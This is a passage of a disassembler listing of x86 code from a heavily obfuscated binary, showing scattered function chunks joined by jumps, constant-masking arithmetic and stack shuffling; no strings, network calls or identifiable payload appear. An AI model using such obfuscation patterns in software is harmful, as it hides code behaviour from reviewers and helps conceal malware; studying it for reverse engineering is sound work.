loc_5999EF:				; CODE XREF: sub_5A633D-2842j
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_59C773
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------


loc_5999FD:				; CODE XREF: sdfs____:0059A6D1j
		not	eax
		jmp	loc_5ABE91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599A04:				; CODE XREF: sub_5AA2D1-3DB2j
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		jmp	loc_59DAB3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_599A0F:				; CODE XREF: sub_5A577C+2j
		mov	esi, 198014F0h
		jmp	loc_59C27E
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_599A19:				; CODE XREF: sub_5A0AA2:loc_5A1BDDj
		and	edx, 70D70C00h
		jmp	loc_59A7AF
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_599A24:				; CODE XREF: sub_5AA810:loc_5A9F0Dj
		inc	ecx
		sub	ecx, 426B43E2h
		ja	loc_5A94A2
		jmp	loc_5B0293
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
		dec	ecx
		mov	ebp, ebx
		mov	al, 6Eh
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599A3B:				; CODE XREF: sub_5AA2D1-FDFDj
		add	esp, 4
		jmp	loc_5AB074
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_599A46:				; CODE XREF: sub_59FE51+33EEj
		pop	esi
		add	edi, ebx
		sub	edi, 37883E29h
		pop	ebx
		jmp	loc_5A3114
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_599A55:				; CODE XREF: sub_5A3E64-572Dj
		xor	ecx, 6A913608h
		push	ebx
		jmp	loc_59E44D
; END OF FUNCTION CHUNK	FOR sub_5A3E64

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_599A61	proc near		; CODE XREF: sub_5A2E28+44D5j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 0059934D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A8DC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0059CDF1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059EB44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F12E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059FE30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A2416 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2F7F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A31F5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3686 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A39A0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A5C6F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A675C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A722B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A75E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A8771 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AB0BB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB871 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD4EB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ADFE0 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005AE3C7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AE6CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AFE15 SIZE 0000001C BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2F7F
sub_599A61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_599A6F	proc near		; DATA XREF: sdfs____:00598F6Co

var_6		= word ptr -6
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599EBA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C419 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A159F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3D81 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A44FE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB3BF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AE5A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005B00A2 SIZE 00000008 BYTES

		lodsb
		sub	esp, 4
		jmp	loc_59C419
sub_599A6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59961A


loc_599A7B:				; CODE XREF: sub_59961A+C99j
		xor	ecx, 4A1000B8h
		add	ecx, 21F63D9Fh
		xor	ecx, 352A72B8h
		add	ecx, 14EC32EAh
		add	esi, ecx
		pop	ecx
		sub	esi, 378E44DCh
		jmp	loc_59DE8A
; END OF FUNCTION CHUNK	FOR sub_59961A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2A15


loc_599AA1:				; CODE XREF: sub_5A2A15+14j
		add	esp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ebx
		jmp	loc_59A607
; END OF FUNCTION CHUNK	FOR sub_5A2A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599AB3:				; CODE XREF: sub_5AA2D1-D23Dj
		sub	ecx, 7F7C14F9h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5AA0CD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_599AC1:				; CODE XREF: sub_5A4D9D+B0F0j
		sub	esi, 56711434h
		pop	edi
		jmp	loc_5A805A
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_599ACD:				; CODE XREF: sub_59BA35+3Fj
		shr	esi, 6
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 98DCA010h
		mov	ebx, edi
		pop	edi
		sub	esi, ebx
		pop	ebx
		not	esi
		push	ebp
		jmp	loc_59B122
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_599AEF:				; CODE XREF: sub_5A0AA2+62Cj
		mov	ebx, 206E050Dh
		sub	ebx, 7CD259EBh
		inc	ebx
		inc	ebx
		xor	ebx, 9D31962Fh
		jmp	loc_5A8288
; END OF FUNCTION CHUNK	FOR sub_5A0AA2

; =============== S U B	R O U T	I N E =======================================



sub_599B07	proc near		; CODE XREF: sdfs____:0059BD07j
					; sub_5A477C+A480j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A26FE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4A5C SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ecx
		pop	eax
		jmp	loc_5A26FE
sub_599B07	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_599B14:				; CODE XREF: sub_5A4DFC-7674j
		xor	[esp+0], ah
		push	7FC8h
		mov	[esp+4+var_4], ebx
		mov	bh, ah
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	bx
		jmp	loc_5A0F7F
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_599B30:				; CODE XREF: sub_5AD993-DA34j
		pop	edx
		sub	ebx, eax
		sub	ebx, 4F0A4DABh
		jmp	loc_5AB9D2
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_599B3E:				; CODE XREF: sub_5A0924+837Aj
		mov	esi, 5E901F7Ah
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 47D1709Bh
		jmp	loc_5A7F69
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------


loc_599B56:				; CODE XREF: sdfs____:005AF3A5j
		mov	[esp], edx
		jmp	loc_5A2249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_599B5E:				; CODE XREF: sub_59A7E7+E636j
		mov	[esp+8+var_8], ebx
		jmp	loc_5A61A0
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_599B66:				; CODE XREF: sub_5A2E28+339Ej
		sub	esi, 470B5CBCh
		jmp	loc_5AB676
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_599B71:				; CODE XREF: sub_5A0AA2+DCDCj
		add	ebx, 2
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_5A391E
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_599B82:				; CODE XREF: sub_5A600D-1247j
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	loc_59E7DA
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_599B8E:				; CODE XREF: sub_59D6B8+11ABEj
		pop	ecx
		mov	eax, edx
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_5A93C3
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599B9A:				; CODE XREF: sub_5992DA+107B0j
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5A2F44
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_599BA8:				; CODE XREF: sub_5A2E41+491Cj
		pop	edx
		add	eax, ebp
		push	ebx
		mov	ebx, 64867105h
		xor	ebx, 32F6672Bh
		add	ebx, 60DC10F8h
		sub	ebx, 8567B5Eh
		dec	ebx
		neg	ebx
		xor	ebx, 68483476h
		add	eax, 17E35273h
		add	eax, ebx
		sub	eax, 17E35273h
		jmp	loc_5A659F
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_599BDD:				; CODE XREF: sub_5A21A4+9j
		xor	ebp, 0F894CB51h
		mov	edx, ebp
		jmp	loc_5A2FA8
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_599BEA:				; CODE XREF: sub_59CBE1+AB60j
		pop	esp
		xor	edi, 6FDE1044h
		jmp	loc_5AC490
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599BF6:				; CODE XREF: sub_5992DA+66D6j
		mov	esi, 7A5924F0h
		jmp	loc_5AE02F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_599C00:				; CODE XREF: sub_59D6B8+30F6j
		add	eax, edi
		jmp	sub_5A580F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599C07:				; CODE XREF: sub_5992DA+4A1Bj
					; sdfs____:005A95D4j
		shr	edx, 5
		xor	edx, 0AEE5233h
		sub	esi, edx
		pop	edx
		push	6E5Dh
		mov	[esp+14h+var_14], ebx
		mov	ebx, 326D64B2h
		inc	ebx
		dec	ebx
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		mov	edx, 139C2B1Dh
		dec	edx
		or	edx, 2A07EDBh
		push	ebx
		mov	ebx, 97C314Bh
		jmp	loc_5A150B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_599C3F:				; CODE XREF: sdfs____:005ADE6Fj
		push	edx
		jmp	loc_59E13C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_599C45:				; CODE XREF: sub_5AD795-D706j
		push	eax
		mov	al, 0A4h
		push	ecx
		mov	cl, 0F6h
		xor	cl, 1Fh
		shl	cl, 7
		dec	cl
		xor	cl, 0C9h
		or	al, cl
		jmp	loc_5AA25F
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_599C5D:				; CODE XREF: sub_5A4D9D-2780j
		xor	esi, 17606663h
		xor	esi, 0EAA92A34h
		push	ebx
		jmp	loc_59D117
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599C6F:				; CODE XREF: sub_5AA2D1+59CCj
		shr	edx, 6
		jp	loc_5AF1AB
		sub	edx, 0C1880FC6h
		mov	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	205Fh
		mov	[esp+0], ebp
		mov	ebp, 50C574C4h
		jmp	loc_5A4922
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_599C9B	proc near		; CODE XREF: sub_5A0B5D-4E48j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059DB94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1703 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A507A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9B37 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA411 SIZE 00000007 BYTES

		push	ebp
		push	ebx
		jmp	loc_5A507A
sub_599C9B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_599CA2:				; CODE XREF: sub_599CC6+155F6j
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599CAB:				; CODE XREF: sub_5992DA:loc_5AEDB7j
		sub	edx, 0A365839Ah
		push	edx
		pop	eax
		pop	edx
		jmp	loc_5A6524
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_599CB9:				; CODE XREF: sub_59EE3E+8DD8j
		add	ecx, 409B2FFFh
		add	ecx, edx
		jmp	loc_5A99F6
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_599CC6	proc near		; CODE XREF: sub_59F3B6-5FF4j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599CA2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059E20A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0A8E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A235D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5598 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AAB28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC890 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AF2A9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AFF2A SIZE 00000009 BYTES

		push	ebx
		push	eax
		jmp	loc_5AFF2A
sub_599CC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599CCD:				; CODE XREF: sub_5AA2D1-10C80j
		pop	edi
		xor	ecx, [esp-10h+arg_C]
		jmp	loc_5A2547
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_599CD6	proc near		; DATA XREF: sdfs____:00598F60o
		pop	dword ptr [edi+40h]
		jmp	loc_59910F
sub_599CD6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_599CDE:				; CODE XREF: sub_59F4D2+2E29j
		add	ebp, 77D012B9h
		and	ebp, 20BE2767h
		sub	ebp, 4F777CBFh
		jnb	loc_5AB85C
		jmp	loc_59B848
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_599CFB:				; CODE XREF: sub_59E94B:loc_59A8D7j
					; sub_5AD84A-C3ECj
		and	ecx, 79A75642h
		jmp	loc_5AA097
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_599D06:				; CODE XREF: sub_5AC803-3B55j
		sub	ch, 81h
		jmp	loc_599211
; END OF FUNCTION CHUNK	FOR sub_5AC803

; =============== S U B	R O U T	I N E =======================================



sub_599D0E	proc near		; CODE XREF: sub_59D6B8+359Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00599291 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A262 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A694 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B389 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C434 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059C4F3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D8F5 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0059E08E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059EABA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059F33E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A0649 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1B91 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2564 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2B53 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3B10 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A55B2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A608B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A729F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A8EC5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8FD8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA12E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005AD6B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AD79B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ADEF0 SIZE 0000000A BYTES

		sub	esp, 4
		jmp	loc_5A608B
sub_599D0E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_599D16:				; CODE XREF: sub_5AB622+21j
		add	[esp+0Ch+var_C], 4
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59D92E
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_599D28:				; CODE XREF: sub_5A7BA0-DBBCj
					; sub_59BB73+137C4j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		xchg	edx, [esp+0]
		jmp	loc_59A049
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------


loc_599D39:				; CODE XREF: sdfs____:005A7C42j
		sub	edx, ebx
		pop	ebx
		add	esi, edx
		jmp	loc_59B1CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_599D43:				; CODE XREF: sub_5A913B-6626j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_599D48:				; CODE XREF: sub_5ABB65-2CF5j
		mov	eax, esi
		jmp	loc_5A2343
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_599D4F:				; CODE XREF: sub_5A2E28+A129j
		mov	eax, 1D6C1590h
		add	eax, 66A2673Bh
		add	eax, 0D4C6FAE6h
		push	edi
		jmp	loc_59E199
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8931


loc_599D64:				; CODE XREF: sub_59B95E+6510j
					; sub_5A8931+6j
		push	eax
		jmp	loc_5A3E0E
; END OF FUNCTION CHUNK	FOR sub_5A8931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A94C


loc_599D6A:				; CODE XREF: sub_59A94C+4B9Ej
		mov	ebp, [esp+0Ch+var_C]
		jmp	sub_59F1C3
; END OF FUNCTION CHUNK	FOR sub_59A94C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_599D72:				; CODE XREF: sub_5AA810-AB14j
		add	edx, 2
		push	7BA7h
		jmp	loc_5ABCD2
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_599D7F:				; CODE XREF: sub_5A6BBC-D976j
					; sub_5992DA+124B1j
		mov	ebx, [esp+8+var_8]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A8750
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599D8A:				; CODE XREF: sub_5AA2D1-DB14j
		push	[esp-10h+arg_10]
		pop	ebx
		jmp	loc_59A4CD
; ---------------------------------------------------------------------------


loc_599D94:				; CODE XREF: sub_5AA2D1+19A1j
		mov	[esp-10h+arg_C], ebx
		jmp	loc_5A5C44
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_599D9C:				; CODE XREF: sub_5996E4+920Ej
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_5A6B99
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_599DAB:				; CODE XREF: sub_5AC803-95BDj
		mov	ch, dl
		pop	edx
		push	[esp-4+arg_0]
		pop	eax
		jmp	loc_5A8AD3
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599DB7:				; CODE XREF: sub_5AA2D1+5B3Fj
		push	esi
		mov	esi, 8F73D7h
		sub	eax, 29B619E5h
		sub	eax, esi
		add	eax, 29B619E5h
		mov	esi, [esp-0Ch+arg_8]
		jmp	loc_5AF60D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF8FF


loc_599DD1:				; CODE XREF: sub_5AF8FF+3j
		mov	[esp+4+var_4], esi
		push	6F7Eh
		jmp	loc_5AFDBD
; END OF FUNCTION CHUNK	FOR sub_5AF8FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_599DDE:				; CODE XREF: sub_5A0AA2+2B4j
		add	eax, 47455A1h
		push	dword ptr [esp+0]
		jmp	loc_59CEB4
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_599DEB:				; CODE XREF: sub_59D6B8+129E5j
		push	edx
		mov	edx, 3A1B218Ah
		add	edx, 0C5E4DE77h
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	ebp
		push	esi
		mov	esi, 0FF45A47h
		mov	ebp, esi
		jmp	loc_5AC258
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_599E21	proc near		; CODE XREF: sub_59CE13+25Bj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059BA03 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A0A7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD30D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ADF41 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005B01D8 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	esi
		mov	esi, 65EB5311h
		mov	edi, 8D818670h
		sub	edi, esi
		pop	esi
		mov	ebx, 2EF106A4h
		jmp	loc_5B01D8
sub_599E21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_599E42:				; CODE XREF: sub_59EE3E+10D70j
		mov	ebx, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 5504275Ah
		neg	edx
		jmp	loc_59DAA0
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_599E58	proc near		; CODE XREF: sub_5A0FFF+7159j
					; sub_59EE3E:loc_5AD6B8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A646B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A90EC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AB0C5 SIZE 00000005 BYTES

		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A90EC
sub_599E58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_599E63:				; CODE XREF: sub_5AA5F6-79A7j
		sub	al, cl
		pop	ecx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	ebx
		push	eax
		mov	ah, 0B0h
		neg	ah
		shl	ah, 5
		dec	ah
		add	ah, 51h
		mov	bl, ah
		pop	eax
		add	al, bl
		pop	ebx
		sub	al, bl
		sub	al, 50h
		jmp	loc_5A3006
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599E8C:				; CODE XREF: sub_5992DA+11B51j
		mov	eax, 5C2259DAh
		xor	eax, 64573453h
		push	edx
		mov	edx, 22125D7Fh
		inc	edx
		push	ecx
		push	31D823F7h
		pop	ecx
		not	ecx
		push	edx
		mov	edx, 6167BB84h
		sub	ecx, edx
		jmp	loc_5A6C3A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_599EB3:				; CODE XREF: sub_5AB08D-D66Aj
		add	eax, edx
		jmp	loc_59F2C7
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_599EBA:				; CODE XREF: sub_599A6F+16636j
		mov	ah, 76h
		add	ah, 1
		jmp	loc_5AB3BF
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599EC4:				; CODE XREF: sub_5AA2D1:loc_59DE9Cj
					; sub_5A00E2+7CFDj
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 4B95596h
		shl	eax, 4
		xor	eax, 53741FC1h
		mov	esi, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		mov	ebx, 18E146A5h
		xor	ebx, esi
		pop	esi
		push	edx
		mov	edx, 6B75156Fh
		neg	edx
		xor	edx, 5C6C4A96h
		jmp	loc_59F058
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_599EF7:				; CODE XREF: sub_5AFA26+6j
		push	eax
		push	0F1B4273h
		pop	eax
		xchg	eax, edx
		not	edx
		jmp	loc_59FDA0
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


